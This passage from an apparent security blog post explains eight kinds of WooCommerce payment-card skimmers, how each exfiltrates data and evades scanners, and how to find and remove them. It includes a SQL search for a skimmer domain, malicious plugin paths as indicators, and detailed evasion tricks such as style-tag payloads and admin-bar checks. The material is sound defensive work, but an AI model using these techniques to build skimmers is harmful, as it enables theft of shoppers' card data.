This category has consistently ranked among the most prevalent skimmer types in real-world infection data, appearing on WooCommerce, Magento, and OpenCart simultaneously — suggesting shared toolkits deployed across platforms.

Why it evades detection: Browser Content Security Policies rarely block WebSocket connections explicitly. Most security plugins and monitoring tools log HTTP requests but not WebSocket frames. It looks like normal background communication.

---

Type 4: PHP Server-Side Skimmer (The Invisible Type)

This is the one that antivirus programs and external scanning tools almost always miss entirely — because it runs on the server before the browser is ever involved.

How it works: The malware modifies a PHP file in the WooCommerce plugin directory — typically the form-checkout template or a payment gateway class file — to intercept and copy $_POST data as it is submitted. The stolen card data is then written to a file on the server or forwarded via a server-to-server HTTP request to the attacker’s collector.

Real-world example: Sucuri researchers documented a case where attackers modified ./wp-content/plugins/woocommerce-gateway-[redacted]/class-wc-[redacted].php — a legitimate payment gateway file — by appending malicious PHP at the bottom. That code referenced a .jpg file in the uploads directory. The image file was actually storing exfiltrated card data in plain text. The attacker fetched it periodically and then zeroed it out, covering the evidence trail.

Why this is uniquely dangerous:

• External security scanners see your checkout from outside the server the same way a customer’s browser does — a PHP server-side skimmer produces no browser-visible output
• File integrity monitoring catches it, but only if configured before the infection
• It intercepts data at the PHP $_POST level, which means even tokenised payment data can be captured before the gateway processes it
• Reinstalling WooCommerce fixes it only if you identify exactly which gateway file was modified

Where it hides: Modified form-checkout.php, tampered payment gateway class files, functions.php, mu-plugins/, or standalone files disguised as stylesheets (style.css that is actually a PHP script, css.php).

For a deeper look at obfuscated PHP malware patterns, see my guide on WordPress obfuscated PHP malware detection.

---

Type 5: Database-Injected Skimmer (wp_options / Shortcode Injection)

This was the delivery mechanism in the fabulo.xyz case above. The fake form payload lived entirely in the WordPress database — no files were modified at all. That is why Wordfence, Sucuri, and every other file-based scanner found nothing.

How it works: Attackers inject malicious JavaScript into database rows that are output on the frontend. The most common locations are:

• The wp_options table, in rows that store header/footer scripts, theme customiser settings, or widget data
• Inside page/post content embedding the [woocommerce_checkout] shortcode, where a base64-encoded script blob is hidden alongside the legitimate shortcode
• Via plugins like WPCode (formerly Insert Headers and Footers) that store injectable scripts in the database by design

Finding the fabulo.xyz Payload in the Database

After catching the suspicious network request, I took the attacker’s domain as a unique search string and ran it against the database:

SELECT * FROM wp_options WHERE option_value LIKE '%fabulo.xyz%';

That query returned the exact row containing the injected script. It was sitting inside a wp_options entry alongside what appeared to be legitimate theme configuration data — which is precisely why automated tools flagged nothing. The row looked like it was supposed to be there.

After verifying the full payload and confirming there were no other injected rows, I removed it and re-ran the query to confirm zero results:

SELECT * FROM wp_options WHERE option_value LIKE '%fabulo.xyz%';
-- Result: 0 rows

I then repeated the full checkout test with the Network tab open. Payment activity went to Stripe, orders completed, confirmation emails were sent. Clean.

Why file reinstalls do not fix this type: Reinstalling WooCommerce, restoring a plugin, or even restoring WordPress core leaves database-resident skimmers completely untouched. This is one of the most important concepts in WooCommerce malware cleanup.

For a full methodology on database investigation, see how to scan and clean your WordPress database for hidden malware.

---

Type 6: Fake Plugin / Malicious mu-Plugin Skimmer

Rather than modifying existing files, this variant installs an entirely new plugin that exists only to serve the skimmer — and then hides itself from the WordPress admin panel.

How it works: The attacker gains admin access (through compromised credentials, a vulnerable plugin, or brute force), then drops a fake plugin into one of two locations:

• wp-content/plugins/ with a randomised or plausible-sounding name
• wp-content/mu-plugins/ — must-use plugins that load automatically without activation and do not appear in the standard Plugins list

The plugin registers hooks that inject the skimmer JavaScript on checkout pages, creates a hidden administrator user, and sets up persistence mechanisms to survive cleanup attempts.

Real plugin names observed in the wild:

/wp-content/plugins/sytaqanyxen/sytaqanyxen.php
/wp-content/plugins/adixiraqeh/adixiraqeh.php
/wp-content/plugins/ikytigy/ikytigy.php
/wp-content/mu-plugins/wp_services.php
/wp-content/mu-plugins/class-wpunit.php

Earlier generations of the Smilodon / Magecart Group 12 fake plugins used names like wpputty and wpzip to appear legitimate. The current generation uses fully randomised strings that match no known plugin, making pattern-based detection unreliable.

Self-concealment: Some fake plugins hook into the WordPress admin filter that populates the Plugins list and remove their own entry from it. The only reliable way to find them is to list the contents of wp-content/plugins/ and wp-content/mu-plugins/ directly via SFTP or a file manager and compare every directory against your known plugin list.

Three-tier payload architecture: The most sophisticated variants run three separate payload systems simultaneously: a custom payload embedded in the plugin file itself, a dynamically updated payload pulled from a command-and-control server daily, and a static fallback payload that activates if the remote server is unreachable. Blocking the C2 domain alone does not neutralise the infection.

For more on hidden admin users that typically accompany this type, see my guide on finding and removing hidden admin users in WordPress.

---

Type 7: Supply Chain / Tampered Legitimate Plugin Skimmer

Rather than installing something new, this variant modifies a plugin or theme that already exists and is trusted on your site — ideally one that processes payment data or loads on the checkout page.

How it works: The attacker modifies a legitimate payment gateway plugin’s PHP class file, inserting malicious code that intercepts the payment data that plugin is already handling. Because the modification is to a trusted file, security tools that check file reputation (rather than file integrity) may not flag it.

Nulled plugin variant: Pirated versions of premium WooCommerce plugins and themes are a primary supply-chain vector. These are distributed on unofficial sites and typically arrive pre-loaded with backdoors or skimmer code. The infection is present from the moment of installation. See my detailed guide on nulled WordPress plugins and themes.

Style tag execution trick: Some tampered files hide the skimmer inside <style> tags rather than <script> tags. A separate small JavaScript loader reads the style tag content and executes it programmatically. Because security tools typically look for <script> tags when scanning for injected code, this style-tag variant evades many signature-based detections.

Disguise as analytics: A common camouflage pattern is making the malicious script load URL use a Caesar cipher or character substitution to encode the attacker’s domain, then decode it at runtime. The surrounding code is written to look like a Google Analytics or Google Tag Manager initialisation block — something that legitimately belongs in checkout pages.

---

Type 8: Cron Job / Self-Regenerating Skimmer

This is not a standalone skimmer type — it is the persistence mechanism that makes the other seven types keep coming back. It is important enough to treat separately because it is the reason so many “cleaned” stores get reinfected within hours.

How it works: After establishing the initial skimmer using any of the above methods, the attacker installs a scheduled WordPress cron job or server-level cron that periodically re-downloads and re-injects the skimmer payload. Delete the skimmer without finding the cron job and the infection will restore itself automatically.

Common patterns:

• A wp_schedule_event hook that fires every few hours and writes the skimmer back to a target file or database row
• A hidden admin user whose credentials are used by an external script to reinstall the fake plugin via the WordPress REST API
• A database trigger that re-injects the skimmer into wp_options whenever that row is modified — a rare but documented technique

How to find it: Check all registered cron events via WP-CLI:

wp cron event list

Cross-reference every scheduled event against cron jobs registered by your known legitimate plugins. Any event pointing to an anonymous function, an encoded callback, or a file path that does not match a legitimate plugin is suspicious and should be investigated before you conclude cleanup is complete.

For a full breakdown of this pattern, see my posts on WordPress cron job malware and why WordPress malware keeps coming back.

---

How Exfiltration Works: Where Does the Stolen Data Go?

Every skimmer eventually has to get the stolen data out. Here are the main exfiltration methods used across all eight types:

Standard Fetch / XHR POST: The simplest method, as seen in the fabulo.xyz case. Captured data is serialised to JSON and sent via fetch() or XMLHttpRequest POST to an attacker-controlled domain. These domains are typically registered to look like CDNs, analytics platforms, or ad networks.

WebSocket exfiltration: Harder to detect in network logs because it uses a persistent connection rather than discrete HTTP requests. Used in Type 3 skimmers.

Image beacon (pixel tracking): Card data is URL-encoded and appended as query parameters to a 1×1 pixel image request. Image requests are normal browser behaviour, which often bypasses content security policies.

Data stored in image files on the server: PHP-based skimmers write stolen card data directly to a .jpg file in wp-content/uploads/. The attacker fetches the file periodically, then zeros it out to remove evidence. This was the exfiltration method documented in the Sucuri tampered-gateway-plugin case.

Fake admin AJAX: Some skimmers POST stolen data to the compromised site’s own AJAX endpoint at /wp-admin/admin-ajax.php using a custom action. The server then forwards it. This makes the exfiltration traffic look like legitimate WordPress activity.

---

Why Security Scanners Failed — And Why Manual Review Still Matters

In the fabulo.xyz case, the store team had already run Wordfence and Sucuri scans before reaching me. Both came back clean. Here is why — and why this pattern repeats across all eight skimmer types:

File-only scanners miss database injections entirely. The payload in the case above lived in wp_options. Wordfence and Sucuri’s file scanner never touched it.

External scanners miss PHP server-side skimmers. Tools like SiteCheck scan your checkout from the outside, exactly as a customer’s browser does. A PHP skimmer running server-side produces no browser-visible output for these tools to detect.

Admin detection avoidance defeats manual review. Some skimmers check for #wpadminbar and go dormant when an admin is logged in. If you test the checkout while logged into WordPress, you may see a perfectly clean experience while customers are still being skimmed.

Obfuscated code beats signature matching. Attackers update their obfuscation regularly. The Smilodon group updates its payload from C2 servers daily — specifically to stay ahead of newly published detection signatures.

Legitimate-looking camouflage. Disguising a skimmer as Google Tag Manager or a Facebook Pixel means it looks exactly like something that should be there. Without knowing precisely what your legitimate scripts look like, the imposter is nearly impossible to spot.

This is why the Network tab test — running checkout as a real customer in a private browser window and watching where data actually goes — remains the fastest and most reliable first diagnostic step, regardless of what any scanner reports. Related: how to detect WordPress malware.

---

Real Indicators of Compromise Across All Types

In the browser (customer-facing):

• Card input fields on a checkout that uses redirect-only gateways
• The checkout spinner that spins briefly, then silently reloads with no order recorded
• Network requests in DevTools to domains not belonging to your payment gateway
• A short delay between page load and the appearance of payment fields

In the WordPress admin:

• Admin users you did not create, often with generic-sounding email addresses
• Plugins in wp-content/plugins/ or mu-plugins/ that do not appear in the Plugins menu
• Recently modified files in the WooCommerce plugin directory or active theme
• wp_options rows containing <script> tags or base64 blobs in unexpected places

In server logs:

• POST requests from your server to external domains you do not recognise
• Periodic reads of files in wp-content/uploads/ from unfamiliar IP addresses
• Cron activity at unusual times not matching your configured scheduled tasks

---

How to Remove a WooCommerce Skimmer Properly

Cleanup that stops at the visible payload is incomplete. Here is the full sequence:

1. Contain checkout first. Block the checkout or switch to maintenance mode before doing anything else. Stop additional customer exposure while you investigate.

2. Identify the true source. Do not delete what you see until you know where it is coming from. Use the Network tab, database search, and file integrity checks together.

3. Remove the payload from its true source. If it is in the database, clean the database. If it is in a file, replace that file from a trusted clean source. If it appears in multiple places, treat that as a persistence indicator — keep looking.

4. Check for and remove all persistence mechanisms. Rogue admin users, fake or hidden plugins, cron events, database triggers. The skimmer will return if these are left intact. See why WordPress malware keeps coming back.

5. Clear every cache layer. Page cache, object cache (Redis/Memcached), optimisation plugin caches, CDN/Cloudflare cache. Stale malicious output can persist in cache long after the source is removed, creating a false impression that the infection is still active.

6. Rotate all credentials. WordPress admin passwords, database credentials, hosting/FTP access, payment gateway API keys (Stripe, PayPal), and WordPress security salts.

7. Verify from a clean environment. Re-run the Network tab test from a fresh private window and confirm payment data goes only to your legitimate payment gateway. Do not skip this step.

For the complete post-cleanup checklist, see what to do after fixing a hacked WordPress site.

---

Why a WooCommerce Skimmer Is a Compliance Problem, Not Just a Technical One

Many store owners treat a confirmed skimmer as a technical incident — clean it, reopen checkout, move on. That significantly underestimates the full scope.

If your WooCommerce checkout was processing card data while a skimmer was active, you likely have obligations under PCI DSS (Payment Card Industry Data Security Standard). Your payment processor or acquiring bank needs to be notified. Depending on the duration and scale of exposure, you may be required to engage a PCI Forensic Investigator.

Card brands can levy fines against merchants who delay disclosure. Affected customers may pursue chargebacks and in some jurisdictions have legal recourse. Acting early with accurate evidence is always better than making public statements before you understand the scope of what happened.

---

The Infection Vectors: How Skimmers Get In

Knowing how the skimmer arrived matters as much as removing it — without closing the entry point, reinfection is a matter of time.

Vulnerable plugins: The most common route. In 2024 alone, 7,966 WordPress vulnerabilities were documented, with a third remaining unpatched at disclosure and 43% exploitable without authentication. The window between public disclosure and active exploitation has collapsed to hours.

Compromised admin credentials: Brute-forced, phished, or reused passwords. Once an attacker has admin access, installing a fake plugin or injecting a database row takes seconds.

Nulled themes and plugins: Pre-infected premium software downloaded from unofficial sources. The infection arrives with the installation — before you have done anything wrong with your own site.

Third-party script compromise (supply chain): Your site is clean, but a third-party analytics or marketing script loaded on checkout gets compromised at its source. You cannot fix this on your own site.

Compromised hosting environment: Other sites on a shared server get hit first, and the attacker uses server-level access to reach your installation.

For how hackers maintain access after initial compromise, see how hackers create hidden admin users in WordPress.

---

Summary: Skimmer Types at a Glance

Type	Visible to customer?	Survives file reinstall?	Caught by external scanner?
Fake form overlay	Sometimes	Depends on injection point	Often
JS event listener	No	Depends on injection point	Sometimes
WebSocket skimmer	No	Depends on injection point	Rarely
PHP server-side	No	Only if gateway file is replaced	Never
Database injection	No	Yes	Rarely
Fake plugin / mu-plugin	No	Yes, unless plugin is removed	Varies
Supply chain / tampered plugin	No	Only if plugin is fully reinstalled	Rarely
Cron-based reinfector	No	No — it reinstalls the skimmer	Rarely

---

Frequently Asked Questions

Can I tell which type of skimmer I have without server access?

Partially. Fake form overlays and JavaScript event-listener skimmers are detectable via browser DevTools. PHP server-side skimmers and database injections are invisible from the browser. You need server-level access to investigate those fully.

If no orders were recorded, does that mean card data was not stolen?

Not necessarily. The fabulo.xyz skimmer caused no orders to complete while stealing every card submitted. Other variants let the legitimate payment proceed normally so the theft goes unnoticed for longer. A clean order log does not rule out active skimming.

Why did Wordfence and Sucuri miss the infection?

Because the payload lived in the database, not a file. File-focused scans cannot detect database-resident injections. This is covered in detail in how to scan and clean your WordPress database for hidden malware.

Does switching payment gateways fix the problem?

No. The skimmer targets the checkout page itself, not a specific gateway. Switching from Stripe to PayPal does not remove the malicious code already present on your site.

How long do skimmers typically go undetected?

Longer than most people expect. Because they are designed to stay quiet and because store owners rarely test their own checkout from a fresh incognito window, some infections run for weeks or months — usually discovered only after customer card fraud complaints accumulate.

What is the fastest way to confirm a skimmer is present?

Open checkout in a private browser window while logged out. Open DevTools Network tab. Add a product to cart and proceed to checkout. Watch where data actually goes when you click Place Order. That single step would have found the fabulo.xyz infection in under two minutes.

---

When to Bring in Professional Help

You should escalate if:

• The skimmer survived a previous cleanup attempt
• You found hidden admin users alongside the skimmer
• The infection appears in multiple locations — files and database both
• You are not comfortable editing production database rows or PHP files directly
• You need to establish a timeline for compliance or payment processor notification

You can hire me directly for a manual investigation and full cleanup, or start with my WordPress malware removal service if you need urgent containment.

---

If your WooCommerce checkout is behaving abnormally — failed orders, strange card fields, unexpected network requests — treat it as a live incident. Contain the checkout first, preserve evidence, and test from a clean private browser session before drawing any conclusions.